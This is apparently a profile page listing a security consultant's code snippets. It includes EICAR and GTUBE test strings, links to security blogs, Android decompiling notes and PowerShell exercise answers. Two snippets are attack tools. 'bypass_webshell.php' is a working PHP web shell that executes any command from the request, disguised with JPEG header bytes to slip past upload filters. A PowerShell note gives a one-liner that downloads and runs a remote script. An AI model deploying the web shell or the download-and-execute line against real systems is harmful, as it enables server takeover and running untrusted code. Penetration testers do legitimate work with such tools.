Petr Pospíšil SleepyLctl

Freelance Cyber Security Consultant

SleepyLctl / TestingMalware.bat

Created March 21, 2018 15:04

Test File - Wannabe Malware

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

SleepyLctl / links.txt

Last active March 22, 2018 11:28

Links - Malware, IR, Web Content

	The list below shows some of the blogs and feeds that might be useful to the security analyst when investigating incidents.
	• http://blogs.cisco.com/security/
	• http://malware-traffic-analysis.net/
	• http://malware.dontneedcoffee.com/
	• http://myonlinesecurity.co.uk/
	• http://krebsonsecurity.com/
	• http://blog.dynamoo.com/
	• http://sanesecurity.blogspot.co.uk/
	• http://blog.0x3a.com/
	• http://blog.trendmicro.com/trendlabs-security-intelligence/

SleepyLctl / bypass_webshell.php

Created March 28, 2018 10:46

PHP Webshell with JPEG metadata

	ÿØÿà
	<form action="" method="get">
	Command: <input type="text" name="cmd" /><input type="submit" value="Exec" />
	</form>
	Output:<br />
	<pre><?php passthru($_REQUEST['cmd'], $result); ?></pre>

SleepyLctl / dorks.txt

Last active April 4, 2018 11:25

Google Dorks - gbhacker

SleepyLctl / Decompiling

Last active April 9, 2018 10:06

Android Testing

	APK to java
	-- dex2jar + jd-gui
	-- jadx
	-- apktool?

	https://stackoverflow.com/questions/1249973/decompiling-dex-into-java-sourcecode

SleepyLctl / gist:f0c367fa2a49b7c76b844d5daf96b230

Created May 3, 2018 11:27

Powershell stuff and tips

	########################################
	Execute PS script remotely
	########################################

	iex ((new-object net.webclient).downloadstring('https://url/install.ps1'))

SleepyLctl / Excel Injections

Last active July 31, 2018 07:00

Injections

SleepyLctl / CORS_poc.html

Last active August 14, 2018 06:07

CORS Token PoC

SleepyLctl / lol.ps1

Created July 11, 2018 09:32

PowerShell Basics - Century

	century.underthewire.tech:6009

	1. Version of Powershell Build = 10.0.14409.1012
	$PSVersionTable

	2. Download a file = invoke-webrequest80
	Invoke-WebRequest

	3. Number of files on the desktop.
	Get-ChildItem ..\desktop\ \| Measure-Object

SleepyLctl / test.txt

Created July 16, 2018 05:56

Test Strings

	EICAR Test String

	(anti-virus) X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
	When an anti-virus program scans this file, it reports that it finds the EICAR-STANDARD-AV-TEST-FILE virus.

	GTUBE Test String

	(spam) XJSC4JDBQADN1.NSBN32IDNENGTUBE-STANDARD-ANTI-UBE-TEST-EMAILC.34X
	For further information, see: http://spamassassin.apache.org/gtube/.